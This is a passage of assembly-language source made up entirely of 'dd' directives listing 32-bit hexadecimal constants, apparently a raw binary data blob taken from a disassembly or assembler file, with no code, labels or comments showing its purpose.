dd 0D76008BAh, 114834C0h, 943CEB98h, 482C50B0h, 1FC93400h
dd 3B72D663h, 0CD0B03D8h, 52DCC3DDh, 74B75A99h, 15444590h
dd 2A6F1917h, 403B89E8h, 7E5F970Ch, 9440D148h, 8C25E8F4h
dd 1917C100h, 5A127532h, 7930015Dh, 0C3C0EDAh, 65D422E4h
dd 0A8606060h, 0EC34D210h, 5800960Bh, 0D20C08C7h, 51B00FCEh
dd 0EC84206Ch, 0DE700D0Dh, 2C0BB8D3h, 0F4C19F88h, 27FC178Dh
dd 0B045788Ah, 7E074640h, 63687908h, 40F5C4D1h, 0BA79D61Bh
dd 5E1600B9h, 42254C0Ch, 949C631Eh, 23C76E89h, 0F086BEC8h
dd 0F802CC37h, 91290019h, 0FC788B14h, 410463F1h, 0A01A03D4h
dd 1CA48C95h, 0E3058C0Ch, 0F9636D79h, 1204828h, 77B179DBh
dd 0FBD002BDh, 6D920999h, 426BBCE8h, 5AAF23A8h, 6C502011h
dd 14CAA5E8h, 6DC0D0C8h, 12D366D2h, 0CBA05097h, 0C0F0C8D8h
dd 0C58CFD5Fh, 0FC44985Ah, 0C4F40FE9h, 0CB9318B7h, 4565B895h
dd 0EB94440Dh, 643010ADh, 2A9F0C90h, 9D31C16Eh, 0DDD44500h
dd 5265874h, 6AFC26D8h, 9946741Ch, 71EBEF03h, 40099EC1h
dd 19527797h, 1AE09970h, 4609AE5h, 8C13053Ch, 88D88EBCh
dd 0B291C027h, 1902F721h, 201A6315h, 39084038h, 6EDF5BCFh
dd 12071840h, 0FE5B570h, 151F0BF5h, 63657540h, 6F149847h
dd 1268E4EEh, 0E4D7621Dh, 0F4B07421h, 2B4E1436h, 0E9E2388h
dd 0ACE2F443h, 0A859B280h, 5557003Ch, 0BB9273C0h, 0BC504BFBh
dd 410507B9h, 85309A06h, 69D84C84h, 0C81D80E6h, 3E802311h
dd 0DC4265CEh, 9FA41050h, 6100B099h, 0B76792Fh, 44120055h
dd 0BC8B7156h, 0D30608C9h, 94C24EF2h, 2B7F1DC9h, 5D78C0AAh
dd 0C3F69A3Ah, 457C3Ah, 843524FCh, 5B7588h, 64A18048h
dd 6BCC3A81h, 0DB13B09Ch, 0ABC3EC08h, 4A71780Ch, 0CF80F900h
dd 0E1705ACCh, 0D6971599h, 0B82FDCC5h, 2891EC17h, 0C2E68880h
dd 110057EFh, 99860653h, 0B31326Eh, 0DA89635Fh, 28E44445h
dd 667BF60h, 0D61D010Bh, 977831A7h, 80B8A2C4h, 0CC2C3BAEh
dd 36441CEAh, 0A018B635h, 13C9727h, 0B2106FA7h, 93918BF8h
dd 88D0C220h, 0E8FC37E2h, 14BD2CBEh, 0F346742Ch, 3EA80701h
dd 304301DBh, 0CC00570Ch, 10CE1D81h, 0C01E9FA1h, 4A4B16E9h
dd 0DB00E7ECh, 25377ED6h, 262FD274h, 0D6031D1h, 2880D63h
dd 606005E8h, 0E20075EBh, 0CA1D158Bh, 281B30FFh, 460100Eh
dd 0D49A1CDCh, 8F1881E0h, 0A89C753Ah, 0E63E7C88h, 18FF281Ah
dd 465ECCBCh, 109D0099h, 89C190B5h, 3FDC02D3h, 4243C84h
dd 26D9EC51h, 0BD01AB18h, 984D0FA5h, 0F4489667h, 0B49930B5h
dd 76900E70h, 9DF91CB9h, 2809B718h, 820F3FE7h, 1FA241Ch
dd 8B8622F7h, 5785A28h, 9041E98Fh, 0D4130314h, 0E59DE8h
dd 0F40FDAC6h, 8A43FC59h, 0EB00BF78h, 0B6FBD237h, 25657F9Ch
dd 0CC403822h, 0E1C7199Eh, 27D0929Dh, 0E802D86Eh, 10D406A1h
dd 80FCA474h, 0F6BE6D07h, 20EBAC41h, 0C5E61660h, 89D66991h
dd 220C5002h, 0A2C4800Fh, 1269DE44h, 21709927h, 0D567379Ch
dd 781000BFh, 943A166Fh, 6EB49043h, 3703E63Bh, 0BCE9C9D1h
dd 4CA0C53Eh, 7B95B0D3h, 460C4BF1h, 39209EE0h, 7636F80Fh
dd 0CC24A0FAh, 16084E9h, 6DB1FCA9h, 0E8AD0A99h, 6E02B244h
dd 9C404D05h, 5C870C7h, 0AC425665h, 0C3D4B07Bh, 8E021CB1h
dd 0DC8C6Bh, 0C62E5F99h, 92AFB9C3h, 0C43FF09Ah, 1A49E03h
dd 0F6B7455Dh, 3B5710EBh, 5476BEh, 0FCEA0B44h, 6776E033h
dd 0C8A59538h, 942A7FF0h, 1506B0E5h, 0E791C655h, 3A8D0941h
dd 38985CA0h, 81C2E0CAh, 490B6844h, 3187EE0Ch, 8FCD4E33h
dd 56E62DC0h, 5F7918F1h, 3AF6F300h, 1E1366A5h, 0C5D7517h
dd 0A45E1DB8h, 0D0C50FE9h, 50F0DE7Fh, 7D760583h, 84345472h
dd 747C43ACh, 7922F950h, 3A6700DAh, 8BE0CD59h, 86FC9016h
dd 51CA1019h, 6F10E430h, 0B5253CE9h, 44A44779h, 0ABED60A2h
dd 37EA003Bh, 13627BE4h, 0A439B5C6h, 72C05193h, 30F3F268h
dd 0D91D5F38h, 0B0F1579Fh, 0C701FE94h, 7CD83859h, 2FB41A17h
dd 0D6F06045h, 574606Bh, 738326B4h, 34A487CEh, 0E3F0C3C1h
dd 5BD39102h, 405EBD4Eh, 2F616A2Dh, 80ABB73Dh, 81467404h
dd 0AE875Ch, 5A88B03Bh, 23202E79h, 84B002Ah, 0DE635EF1h
dd 0BBD0C812h, 0A88B0808h, 3E98B14Ch, 64609100h, 9F569C42h
dd 8AA1200h, 794F13A0h, 2FCB18C2h, 6409098h, 70B68A04h
dd 0E8953E92h, 0EAE088A6h, 0CA040AF8h, 0E9F7E4C7h, 0A6D44640h
dd 0BE006895h, 0A8A211ACh, 2258B35h, 6797BD28h, 5449DB32h
dd 10BCD4Ch, 0EB31660Ah, 0A3009C65h, 75D5E670h, 42471F5Eh
dd 8461A27h, 8688B004h, 32141920h, 80AC3794h, 0C080991Dh
dd 80BF4DA3h, 3006E91Dh, 5E0741B9h, 2C1C421Bh, 55307868h
dd 0F42DE00Ah, 7D01CDB8h, 0F1B4ACD6h, 83C87595h, 601E2C85h
dd 1CE54074h, 2B0AD190h, 94E2F808h, 0B0BD2583h, 44F380D9h
dd 243B4860h, 0F2C4E2D2h, 655930D2h, 0CF21FA1Fh, 0DC01945Ch
dd 0D2F69C43h, 3A08BC7Ch, 0B5031524h, 98EC3F0h, 0B0CC85A1h
dd 0C6A3805Dh, 0F23A0439h, 208B9597h, 25F0B0C1h, 706E2ED8h
dd 0ED985B03h, 77A00F09h
dd 90DC5Eh, 0CC740808h, 0E98D3EFBh, 7C598009h, 8CCDBC88h
dd 0ED264403h, 0F8D540DBh, 13D9C00Fh, 44B547CBh, 0B87442FCh
dd 1D1F78A8h, 0C20E160h, 0FFD44B86h, 40BC6E88h, 0F6465Eh
dd 0A3DF4849h, 5BF7DEEh, 114075B3h, 5A0C090h, 631E1398h
dd 80B1041Ah, 0F0BCD7C0h, 7CC01024h, 2700D046h, 9E67A221h
dd 310041DCh, 39EA6D94h, 5DD03C10h, 3AECA0EDh, 64007576h
dd 0A1B5904Fh, 16FD066Bh, 0C1883BB8h, 36631DB8h, 0E3601044h
dd 8CE5557Fh, 19D07C0h, 2155E2F2h, 601A2448h, 15013AB1h
dd 942A6E0Ah, 798F1145h, 2189F5C5h, 0CC917C17h, 0A892CD80h
dd 0B86213E9h, 7379AB19h, 6A6B7820h, 61911813h, 63AC1807h
dd 42200069h, 0E04054h, 909510E5h, 98E6A90Eh, 3490A876h
dd 0EC861F20h, 22BC201Ah, 1DCFCB6h, 0EA29D688h, 0FCE032F2h
dd 0E81D41EBh, 0B5560A63h, 5375E000h, 25E1FB16h, 38096EF7h
dd 0F7E43045h, 7BD75960h, 8694E501h, 7AACBC57h, 5C583CF8h
dd 0B182A8F4h, 5401155Dh, 1882F728h, 0B69DDAD5h, 46761C74h
dd 0BE9B059Ch, 38C7762Dh, 0B58F9AC1h, 712869A1h, 0A3189Fh
dd 2950AAACh, 67387F04h, 34B2E2FEh, 0EC9C3C09h, 4494E788h
dd 0B4496029h, 86420076h, 0B7D3FD58h, 0A14DC7ABh, 6C1A08ACh
dd 153F0920h, 0C4C0F46Dh, 242D9FA3h, 0C3E0841Dh, 2900E4F7h
dd 19B5AF11h, 7D22971Dh, 400F02E6h, 4494DE55h, 3908DC52h
dd 0BA6277h, 0B29A1D1Bh, 560175D5h, 0A4EA23EFh, 0EDC505Ah
dd 0ECECA490h, 80187054h, 62745E76h, 895C090Eh, 9E095CDAh
dd 0E4F8C5BBh, 0C8C06723h, 0B43BE8Dh, 0BD2C0E94h, 4808C807h
dd 0A0CB25BBh, 6E43054h, 0A9DE0298h, 0AF4BCC3Fh, 0CE44A84Fh
dd 5972CD60h, 41F19405h, 0B0F63BEDh, 0D40FD6E1h, 0AD029A08h
dd 4C524AA0h, 9160C43Ch, 97910564h, 4AC5EB9h, 0B40392C5h
dd 9F27ED14h, 11CC9F4Ch, 9A8B8122h, 0E0788297h, 1AE6D500h
dd 1FFA85EBh, 9F46DB1Dh, 0C7C90A05h, 0A1D12C83h, 4293211h
dd 45A26C00h, 1FBAB52Ah, 0C7E9DA03h, 0A06D9B0Fh, 98961E3Eh
dd 0B9D0EBA0h, 6E5D0066h, 70C183BBh, 29CD5ED2h, 18012136h
dd 498E0266h, 9187890Ah, 0F62B41C3h, 0CFA030C5h, 38505B02h
dd 54F82CBCh, 12074048h, 0D97395C3h, 38E6DB01h, 74BC7B7Ch
dd 0FC5B2E8h, 3BAE3A69h, 11030488h, 17D7128Fh, 3039E6F8h
dd 3B94DD50h, 0B9F7D344h, 211B00B0h, 38FF4470h, 0F4592Eh
dd 224BA024h, 1FBA2FFCh, 1F809B11h, 31CA9FF7h, 5A47AA05h
dd 30003AD9h, 8A700EB2h, 0E81D95E4h, 5480A291h, 8BBC6B01h
dd 0FC7C5E0Eh, 40B08BAAh, 0B7725FCh, 1B3C0A03h, 2C414E0h
dd 0B094B090h, 7F74674h, 2999CABCh, 0F3FA6820h, 0D58C126Ah
dd 607CC806h, 95E2CF00h, 1AB4CAF4h, 0D6DEC566h, 0F4082E0h
dd 3420CCF8h, 655E02DBh, 0FE434063h, 0DCE854h, 3724FD38h
dd 988DBEBBh, 0D5966F14h, 6C8402A8h, 0D08B8143h, 0E59E27E4h
dd 12402CCFh, 161831B2h, 46C18A97h, 61376C18h, 7520C900h
dd 0A653595h, 0B83F50D4h, 63660969h, 0A0647B0Bh, 91A09597h
dd 1D6E85CEh, 0A042C183h, 994C990h, 566F9AA5h, 0F208F027h
dd 485CC313h, 35AEB980h, 9521046h, 0D6D56312h, 21916406h
dd 61BE6E30h, 93855h, 9579FE88h, 96023C12h, 83A8B4Ah, 1012A23h
dd 6741C835h, 1272F3E0h, 0D1609893h, 2037D758h, 66143A5Bh
dd 4EC43954h, 228EB020h, 6E623CA1h, 8FEE2580h, 0FFB8D2C2h
dd 2498B70Fh, 0B9BCAC7Eh, 0AEE20421h, 986A46DEh, 859516A8h
dd 24A4A0E8h, 5122005Ch, 0D134E5BAh, 3A00ECA1h, 0ED593DE1h
dd 5B931E4h, 4C74103Bh, 50F8B70Ch, 0EA409C54h, 806502A4h
dd 8AC36F07h, 9398A4A0h, 0D30124E7h, 0F9CEDD75h, 6EC47007h
dd 29A9C0C5h, 0C415ACC8h, 6AD82500h, 6283B94Fh, 5CFC525Dh
dd 0A48EC513h, 22106548h, 257F148Ch, 9C403FA4h, 6076E95h
dd 74083868h, 0C98F1C6h, 0EC09E90Eh, 0C371B771h, 7030B660h
dd 0A1F0A240h, 0AC7C06B2h, 0F6794D13h, 308DB1E0h, 0D5724081h
dd 700E98F2h, 8E88B90Ch, 0ED04296Bh, 2DE61DA0h, 9E91989Dh
dd 2D3EE981h, 0A052EC0Bh, 71E41A52h, 298B0300h, 174122EEh
dd 5D4A7C4Bh, 8E4E18C4h, 0C3EE887Ch, 8CF1639Bh, 0BBB84822h
dd 4488F4Eh, 0B082A744h, 0B8DCB6FFh, 40BC04F4h, 0A8641E8Bh
dd 8C448264h, 5F9900F5h, 9DB7B882h, 9C9F915Ch, 0D0A3E101h
dd 7CC9DB1h, 9B854BA1h, 942C1D0h, 38303036h, 4F0C02BDh
dd 0E73E5FD6h, 93E4660Bh, 4C5458D8h, 81CF8800h, 1FF8AF67h
dd 0D320C379h, 2BB57810h, 262358h, 272B4A5Bh, 0B01002h
dd 6820DB41h, 0B050F520h, 80D2D697h, 313F75D5h, 1C25EEh
dd 43CC4124h, 853CB690h, 0BCF3A43Fh, 0DC997874h, 0C118CCD9h
dd 67217B00h, 0E155B70Ah, 4CB7BD8Bh, 92A35700h, 0B1C8A9Ah
dd 0A132B190h, 0DE2C740Fh, 935BC5D1h, 90C1E057h, 0D045B499h
dd 881C04A3h, 0D0EA9773h, 0F2E14498h, 80DC2428h, 22A7B325h
dd 0B1B80A4h, 0EA0F1CE4h, 0C03A995Dh, 0FD3E059Ch, 0CB2E03ADh
dd 44833248h, 11C21D9h, 38C14263h, 0B5E0A824h, 0EE914017h
dd 420DED81h, 1C097A4Ch, 905C5B39h, 388AD271h, 80CE2BC8h
dd 29693AA4h, 0F56100C1h, 8744AD52h, 0DBF85F46h, 9BC71C1Fh
dd 6A701547h, 2C18E9D0h, 4B109888h, 0F6E8128Bh, 66B9E000h
dd 0F2E27D47h, 12C2EA27h, 0E0596EC7h, 9CBE9E40h, 725B6B82h
dd 431C4AC1h, 0E978C3E0h, 0E03C3925h, 58402C50h, 0DF0B2097h
dd 78E1BF93h, 5F043C6Ah, 3368DC00h, 0B38FC615h, 21140830h
dd 10121A1Eh, 9923E86Ah, 28318B17h, 0BCC41B47h, 57AD07CCh
dd 0CA343FE9h, 55E1D3Ch, 3EAFEF94h, 0F123A0h, 2DB0E5AAh
dd 0A0983A6Fh, 28E66C20h, 0F364601Dh, 9B9420h, 447058BDh
dd 0D4C5C684h, 0F8596CE8h, 77390454h, 0D817C28Eh, 58821CCh
dd 94485422h, 0E90F1666h, 0C50CA40Ch, 2088985Ah, 1834203Ah
dd 0C37F9C0Ch, 0E08996h, 60D8A3FBh, 0D5B33193h, 0F6635800h
dd 6A64BF98h, 809B1D46h, 0AA97805Bh, 6FF2E429h, 0BC08E912h
dd 6E070447h, 0CE7F3B80h, 7C050BE8h, 0A8449433h, 0C0DC7438h
dd 769B7899h, 10F86054h, 0C589C2CFh, 0A816D8E2h, 5CC06853h
dd 67D174h, 0B013D237h, 5666047Eh, 779A0D09h, 2C4850EEh
dd 49BC9FE4h, 0DA0C9C0Bh, 0C2014018h, 41D95D55h, 38241B94h
dd 0B13C17E9h, 22441E61h, 35701607h, 2C527708h, 80F4F46Dh
dd 1D632A8Dh, 1200C8F5h, 8F3F7E38h, 3CC0172Dh, 1C1D0690h
dd 6A0B4631h, 0F064039h, 1337942Ah, 99740491h, 0A96AABECh
dd 9FF22B0h, 41144265h, 1D448458h, 0C6A90033h, 97E1D146h
dd 0FAE4F7BEh, 0F1E90119h, 8F105FE8h, 4B3F47C5h, 441085E0h
dd 1C88EDBCh, 0F0E54136h, 0BB1D92B2h, 0D1AC586h, 7FF81879h
dd 2361008Dh, 0BFAD674Dh, 850015FDh, 0C2BD89E4h, 2F39DCA8h
dd 0B08587B4h, 0E594A0D8h, 206B9781h, 0E237EB74h, 0A0252613h
dd 8F9B0820h, 0B87E5C7Ah, 9A820509h, 0AD9FA004h, 498600F8h
dd 64570376h, 0FD99127Ah, 0C86C055Ah, 0E87CA9F9h, 75DD00D6h
dd 2749F6BCh, 0D700A1BEh, 0D837E53Ah, 5C767DC4h, 0E410A05Ah
dd 8F17002Ch, 0C8183B9Fh, 540B9D95h, 817168FBh, 0EACCB0D8h
dd 50B858D3h, 5A06310h, 0F8B3665Dh, 0EEEA20E4h, 73C8006Eh
dd 7FECE1E9h, 0A0AED95h, 3C088545h, 6979DF40h, 3CD95863h
dd 79D71CE0h
dd 0F85C0438h, 9F846E05h, 14B89AC5h, 152310DCh, 0AC6CCEE1h
dd 50910094h, 54D9E424h, 6160D42h, 74B62157h, 0FA8740B7h
dd 0BE011F3Ah, 0EA327A88h, 4893ABD0h, 0CECCD2DEh, 9C795C79h
dd 3418AF18h, 0FCF83BA3h, 9A1C803Ah, 71EBB804h, 0CAC242Dh
dd 23443B5Fh, 24BB09CBh, 548564C6h, 0B60A0C4h, 0EDB0507Fh
dd 67CEB109h, 5105965h, 935BC3BFh, 79D02AD8h, 8837F29Ah
dd 78830877h, 0C57074E0h, 0A49FDD10h, 0D400FB3Ch, 59926BB2h
dd 7725621h, 0CDBB5C37h, 1A0781BCh, 10732B5Dh, 409901C6h
dd 3D10D4Bh, 9E0226Fh, 0C0429717h, 2F44122Ch, 341D272Bh
dd 0AD8F2491h, 988449E2h, 0BA12DC60h, 0DA1C4082h, 8A754AB4h
dd 0DEEF10CCh, 0D8889132h, 0C8642209h, 0F454F689h, 0E4167B02h
dd 4047DD20h, 0B80FA40Ch, 0D060775Fh, 49E38E0h, 415A94C5h
dd 29A82263h, 5C16A042h, 25465E7Ch, 72BDB805h, 318B2F9h
dd 3DB206A6h, 91FF004h, 17F80014h, 0E0D59A5Fh, 0B35F9B1Ch
dd 0A123F82Fh, 2164F800h, 12EC985Dh, 0A118976Eh, 958030D8h
dd 3872E5F7h, 7F8F077Ch, 71595E1Eh, 189EF118h, 0AB930402h
dd 82EB489Dh, 0F8F1B9BCh, 0A8C6E83h, 30EDE5C6h, 9F064000h
dd 0E9E6BADBh, 1F539325h, 81F41154h, 0FD967B5Ah, 4745F440h
dd 77990575h, 88C25EEDh, 0CC764378h, 0AB486F1Dh, 8FE9B140h
dd 0EAF59F01h, 15890057h, 0E4D89A1Dh, 5D4F1E46h, 4690E0CCh
dd 786A4BFEh, 7C35AF00h, 7FEB70DDh, 0C1DEF730h, 0E8D588D9h
dd 9FDB272Dh, 96002864h, 66236271h, 0E247A09h, 76BD0515h
dd 0C3609DCFh, 9A06E435h, 64023492h, 6E951040h, 6F68E165h
dd 275D10A4h, 0B07358A7h, 781C60D0h, 0F20063F8h, 747ADE76h
dd 268EA70h, 9A17DF8Ah, 0D056E6D2h, 0D8040E92h, 1005B7DEh
dd 0CA00E090h, 226C7E82h, 996403F0h, 0E4DB31AEh, 8CF93F8Ah
dd 48226505h, 9F0938FCh, 0CC54DC67h, 2B4676h, 0B7A8F849h
dd 97B3093h, 3ACCFD94h, 65708C80h, 50B4E30Ah, 0E4C4E52Dh
dd 292C60D2h, 0E7AC0092h, 0B50544DCh, 135AABC1h, 85A1F4C1h
dd 0C500746Dh, 6C10B2CDh, 8B4C813Fh, 8C2BEC8Ch, 9313F600h
dd 232212B1h, 89AD30D4h, 0DD2144C8h, 60D06487h, 98DA940h
dd 3F95019Eh, 35445C82h, 0C34C020Bh, 30940F89h, 8CCEBCh
dd 0A85D7121h, 0E39C404Eh, 0B8100C97h, 69226378h, 44A473ACh
dd 0B0BCBACBh, 38C29BCh, 366EE317h, 0D2B9C639h, 2100E79Fh
dd 0B065D143h, 0BEA2F59h, 62645EF2h, 9056CCC2h, 5D5A00DCh
dd 0C565F1CEh, 0A004CA1Ch, 6C4B655h, 18426490h, 5C63F0FFh
dd 0AD800C6Dh, 0A6491939h, 41002690h, 72EAAA51h, 4B2ACE4h
dd 0A150735Ah, 0B4EC8CC3h, 1F887800h, 816B1552h, 8B9B0069h
dd 5FFF9195h, 39008ED8h, 4632BB06h, 0BE851F40h, 0EE465E7Ch
dd 98C2D90Ch, 570041E1h, 0AF529FBh, 6AFFEF9h, 0A3A1F064h
dd 0BB009AF2h, 62AD2C1h, 4B16C96h, 356DE15Eh, 3020E56Eh
dd 5718D95h, 0BDB90301h, 0F56351CDh, 4480322Bh, 0F5716051h
dd 8B07CF18h, 699C179Bh, 0DBC1F1C4h, 1469D4EEh, 17E59811h
dd 0A89013E9h, 1437071h, 0DE97D49Fh, 0F81D75A9h, 509A28CFh
dd 0C4A84797h, 370A609Dh, 7B593D04h, 0C2E04C16h, 38E76F78h
dd 0A560F644h, 0F3005444h, 0DB7338DEh, 4D220B3Ch, 7D12889Ch
dd 4AF8A294h, 0EFE2C0A3h, 9B59730h, 5E0841EBh, 0CAA7085Bh
dd 0FF000B4h, 31DB0A14h, 5B4109F7h, 2069E858h, 189FF617h
dd 601D4C22h, 871C89h, 2A81CB75h, 0DA1FC2B5h, 0B0CBC94Ah
dd 89692621h, 95A050C0h, 0CFB7C000h, 0E60295C2h, 0B687EB52h
dd 0FABCE372h, 41B05692h, 9AD006A0h, 321DE28h, 73370E18h
dd 39D0FD49h, 72FAE8F8h, 10DA009Dh, 0D0C59077h, 1F0452A2h
dd 5E0E6D94h, 5F8290EDh, 0D30BBA7Ch, 0A45A70D8h, 10A08C5Ch
dd 4748D6BAh, 0E0D85025h, 19DECD04h, 0CCAC6D0Eh, 791A40A2h
dd 18A1595Ch, 7BCD0067h, 0FAB8F725h, 1690D7EFh, 0A80B344Fh
dd 870E40Dh, 0EB0C5410h, 1FE48A42h, 0C880A211h, 576E7BA8h
dd 80102C00h, 0ABC22E9Eh, 672D24Fh, 0E9DF3AFCh, 4B2CD97Ch
dd 4BC9891h, 85DB0EB7h, 0CFBC70BCh, 67C8008Ch, 4D777DA6h
dd 0D001BD90h, 1B523732h, 90229BC6h, 96027458h, 4D078D5Fh
dd 2779CC51h, 580FB018h, 376E067Fh, 3C5C5804h, 0D8E4B50Bh
dd 0D01AD90Ch, 506183Dh, 32C39975h, 4180606Eh, 0B641F794h
dd 1E74488Bh, 0F9004CCCh, 13C31A5Dh, 0A03E42h, 96F12FCAh
dd 404C0233h, 859E9512h, 0F6EC04ECh, 180A0F8Ch, 2F8020B7h
dd 4077DDE9h, 0BF0E3FE2h, 0F7881A65h, 22072C7Bh, 6FA8AC67h
dd 0ECD15EABh, 87FF3600h, 34694Bh, 720C9D3Dh, 770B646Ah
dd 61391125h, 703D44F8h, 5CF843ACh, 0C67A0600h, 0FA5F3F8Dh
dd 2064B8DBh, 354B9897h, 2C72049Dh, 363027B2h, 0F6C61ED1h
dd 6465C037h, 0B63A16Ah, 2092889Ch, 74ACBCE9h, 7F0D2B00h
dd 2DC1ACAEh, 487CF210h, 6928CC07h, 686D2588h, 0B8BCAC66h
dd 2CA465Eh, 0A7943FE6h, 2088FAA5h, 0FCB42B68h, 6C42026Fh
dd 5F4C003Fh, 9CB6E52Ch, 60D7A842h, 13EDF90h, 8327BD68h
dd 839DC5A7h, 943B0E21h, 0DFB8C9E7h, 4995FDCh, 0DE444555h
dd 0BC70FC1Bh, 6B4A8CCAh, 12FD88CCh, 0E7383042h, 0BCBC4D24h
dd 0FC92009Bh, 4B58F2D2h, 0C8987C3Bh, 0DD264C10h, 290BA8Eh
dd 77AC41DCh, 1B28488Fh, 996F0717h, 29B6DFF8h, 9840FC7Eh
dd 2605DCh, 0B36C4B28h, 0B44F9EE0h, 45B6150Bh, 0A03843E6h
dd 13656206h, 4A5127Dh, 0CA376804h, 60704C28h, 962BFD81h
dd 41D20027h, 0C6044689h, 8A1C7543h, 1CE41383h, 81DC4008h
dd 0A4B68065h, 0DB0293Bh, 612E1C42h, 24307F2Bh, 9808201Dh
dd 40B82E19h, 9E8E97ECh, 43954B07h, 12849281h, 788794F0h
dd 491461C5h, 54100AE3h, 0D78881B4h, 4BD60086h, 0D06C9BB7h
dd 4B000323h, 0CC94D684h, 55B7159h, 454D0B7Ch, 93A4C186h
dd 2ADA02B5h, 0DBE01EE4h, 0D4A181C3h, 0FDB845A9h, 0F8C4B860h
dd 428802AAh, 9B9A1501h, 0A0793459h, 0B500BB18h, 3C840305h
dd 146799F6h, 9836C80Ah, 0C8DC8B4Ah, 0D186C2CBh, 0D311185Ch
dd 4F01624h, 470F3894h, 8C30B1Dh, 0E080A41Eh, 2F103269h
dd 50E270B2h, 3DC847Ch, 6409B70h, 168D6C7Eh, 0C8DCCB88h
dd 802FC522h, 7970BBA8h, 0C46E2FF9h, 59252C00h, 0A0697AD3h
dd 73201844h, 7487011h, 0ED9D4C14h, 9C6C705Ah, 0D271E5Fh
dd 4464C716h, 0ABE9609Bh, 77983D8Fh, 8A40EDAh, 448014CFh
dd 7E659F96h, 0F8B2074Eh, 0F6C0AF00h, 4735C1ADh, 49A794Bh
dd 335C92C0h, 2E044904h, 40762462h, 219EA881h, 61322980h
dd 41B98CC7h, 0C4DFE903h, 0A32FC9E5h, 0BC859811h, 127E344Dh
dd 0C30AA80h, 97636574h, 0D8678C1Ah, 0AA60F144h, 0FA00EA47h
dd 66DBB58Fh, 18AE41A9h, 6803F043h, 0EB01AC0Dh, 8F82F75h
dd 0DED2A074h, 1F0A8E94h, 0CA1C0090h, 1121044Dh, 74121703h
dd 65BC4232h, 0DC540FE9h, 24D6D89h, 0F932BBDCh, 18F17970h
dd 0DD8312CEh, 0DEA048FDh, 0D6818C20h, 0B2287388h, 0C4443129h
dd 0F601C26Bh, 9FF9DE8Fh, 20BCE89Ch, 370E29E0h, 0B207A406h
dd 97BC8C30h, 52BAA91Fh, 12CA76DCh, 0E331CEA3h, 81C5389Ch
dd 0D637EBD9h, 0F2FB328h, 0A4169400h, 343E64D4h, 842F4AE6h
dd 0D6002423h, 9010EAC6h, 90D95973h, 0CCF88058h, 518E08Ch
dd 0D43A63C7h, 1340A436h
dd 303EAB40h, 0B631DC0Eh, 97FE82C9h, 0AD91704h, 200238CCh
dd 0E5450Eh, 5660F1E4h, 0B2049B1Ch, 6C84D59Ah, 0BF6434FBh
dd 2623BC2Bh, 7C79F800h, 250DD632h, 0FC829A70h, 5844CE6Eh
dd 2EC19004h, 74B8BF21h, 6DD9410h, 0C26E4AF4h, 0AF9B09E9h
dd 0F805859h, 0F7ADD23Bh, 7B106454h, 0CD902300h, 0B6A6A57Ah
dd 0D6C00FCFh, 0B9672869h, 68807BF7h, 5D1E17C1h, 22BDB7E2h
dd 62854h, 404D901Dh, 0B4FFCC2Ah, 0EBC09095h, 77241h, 3CC3A606h
dd 979A7810h, 0D0DFE235h, 0A17D74FCh, 0D1F09018h, 2D32782h
dd 7200A858h, 0C2ACD829h, 676EA239h, 0D0DBB9C8h, 22ECFED1h
dd 1C8DC300h, 0F5D6082Ah, 0BE0F0333h, 4957579h, 38AB9A80h
dd 0DCF88D16h, 427DD420h, 87972094h, 9E062B00h, 2DAA8983h
dd 455D046Eh, 0B8D599BEh, 0C04030B0h, 50C08EB9h, 0C7978486h
dd 7AA07AB1h, 773F82DCh, 8C7EB99Ah, 4CC80895h, 0F1C231B8h
dd 222E9510h, 22B0B90h, 3850D8h, 0B14BC43Fh, 2A5D98C2h
dd 0B4E4E8F4h, 1A640B08h, 94A41174h, 0E8FD401Ch, 2F1657h
dd 7E785A01h, 87A8481Ah, 5661C36Ah, 0B3B56C01h, 0BC63BC8Bh
dd 0B33029A2h, 27EF0047h, 0ED90835Eh, 34B193C5h, 0F10BE90Bh
dd 0B4D3A5B8h, 7AA7F70h, 580CB267h, 5A1E2192h, 81C18086h
dd 607B5072h, 2970F013h, 0BA8D63Eh, 0C0F0D2C8h, 0F0D12099h
dd 0C74CFC19h, 7814717Ah, 27D02214h, 79E47181h, 1F818CDh
dd 5497671h, 2BD6348Ah, 3400D86Eh, 3B467965h, 0DF29ECE1h
dd 0F0DE492h, 5EE2C491h, 0F546761Ch, 86176700h, 81AED783h
dd 0B4A2704Eh, 0E3B27C00h, 5FC8D1ECh, 953D3300h, 94F7C99Bh
dd 54524899h, 15C0303Dh, 4731ADB0h, 3A558088h, 0AA0F8C68h
dd 0B016656Fh, 0D778AFC4h, 100DE724h, 0C1E06DADh, 0D8B8ED82h
dd 0FB386FCEh, 0A05F128Ch, 92F14D0h, 0F16A04D0h, 0C1080611h
dd 2AD93E30h, 95788C9Ch, 0D80A0B5h, 0E818CC5Dh, 90434F9Bh
dd 17B442B0h, 90F80097h, 1654DEBDh, 0A166679Ah, 24DB3A50h
dd 0D0A5EC87h, 3F796A52h, 0CB90E91Fh, 109C9A00h, 0CE9B11CFh
dd 0AC929908h, 6619634Ch, 0EE0FF095h, 5E40BC4Eh, 50009B46h
dd 979848F2h, 4B95C602h, 50F88D28h, 15A0815Ah, 0C7B2010Fh
dd 5CEF08A5h, 0EEDDAD40h, 0C04909F9h, 0AC54444Fh, 91BC9D25h
dd 8E9580F0h, 59ABB884h, 40004087h, 0D9B0DF44h, 0AC124266h
dd 5CA9A1A7h, 38C8C1D2h, 95479BBh, 79EB0DDFh, 34956400h
dd 0F4B224B2h, 1E3FFC30h, 0CB911449h, 0B8D33A57h, 0DE653C04h
dd 0C8648B12h, 0E031C028h, 543D2A77h, 9CE5AE20h, 503912DEh
dd 33DCA018h, 29045C82h, 18A0D128h, 0C2EC015Ch, 73D4C98Dh
dd 28C870FFh, 9362D40h, 4094DEF0h, 974124DCh, 322FC362h
dd 712BFF0Ch, 0F1161268h, 5F8041A6h, 5BB87C46h, 16006C6Eh
dd 45B29486h, 0E702DDD9h, 0C53AEFDh, 5F410008h, 0E491D2FEh
dd 511899F1h, 0A83BAE17h, 409E0040h, 0B85FB510h, 0D029C054h
dd 7236355Eh, 0F2E67805h, 0C4A22115h, 9630CCE2h, 0CF74307Ch
dd 8B671DA8h, 28ED1089h, 0AD24D42Ah, 0D72AC0FCh, 0F6E96106h
dd 4BB00075h, 3268F726h, 7407E794h, 6993E899h, 341D583h
dd 4137179h, 0DAFAC3D2h, 10F68DE2h, 0B0329043h, 3A2E4Fh
dd 0C8992D5Bh, 0E4F6F1E3h, 0B83FC52Eh, 0C301113h, 1241EB2Ch
dd 0ACDD39EEh, 8CD3BCD8h, 0B9097600h, 11AA97F5h, 895A02A8h
